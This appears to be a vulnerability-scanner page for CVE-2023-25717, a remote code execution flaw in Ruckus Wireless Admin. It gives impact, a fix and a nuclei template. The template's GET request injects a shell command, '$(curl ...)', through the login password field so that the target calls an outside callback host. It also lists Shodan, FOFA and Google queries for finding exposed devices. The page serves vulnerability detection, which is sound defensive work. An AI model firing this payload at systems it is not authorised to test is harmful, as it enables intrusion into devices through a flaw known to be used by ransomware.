Ruckus Wireless Admin - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-05-12; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request.

Impact

Remote code execution vulnerability in Ruckus Wireless Admin allows attackers to execute arbitrary code on the target system.

Fix

Apply the latest security patches and updates provided by Ruckus Wireless to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0
Positive when: contains(interactsh_protocol, 'http') and contains_all(to_lower(interactsh_request), 'user-agent','curl') and status_code_1 == 302

Run it with nuclei: nuclei -id CVE-2023-25717 -u <target>

The full check

id: CVE-2023-25717

info:
  name: Ruckus Wireless Admin - Remote Code Execution
  author: parthmalhotra,pdresearch
  severity: critical
  description: |
    Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request.
  impact: |
    Remote code execution vulnerability in Ruckus Wireless Admin allows attackers to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches and updates provided by Ruckus Wireless to mitigate the vulnerability.
  reference:
    - https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/
    - https://support.ruckuswireless.com/security_bulletins/315
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25717
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25717
    cwe-id: CWE-94
    epss-score: 0.98069
    epss-percentile: 0.99911
    cpe: cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ruckuswireless
    product: ruckus_wireless_admin
    shodan-query:
      - title:"ruckus wireless"
      - http.title:"ruckus wireless"
    fofa-query: title="ruckus wireless"
    google-query: intitle:"ruckus wireless"
  tags: cve2023,cve,ruckus,rce,kev,ruckuswireless,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0"

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(to_lower(interactsh_request), 'user-agent','curl')
          - status_code_1 == 302
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from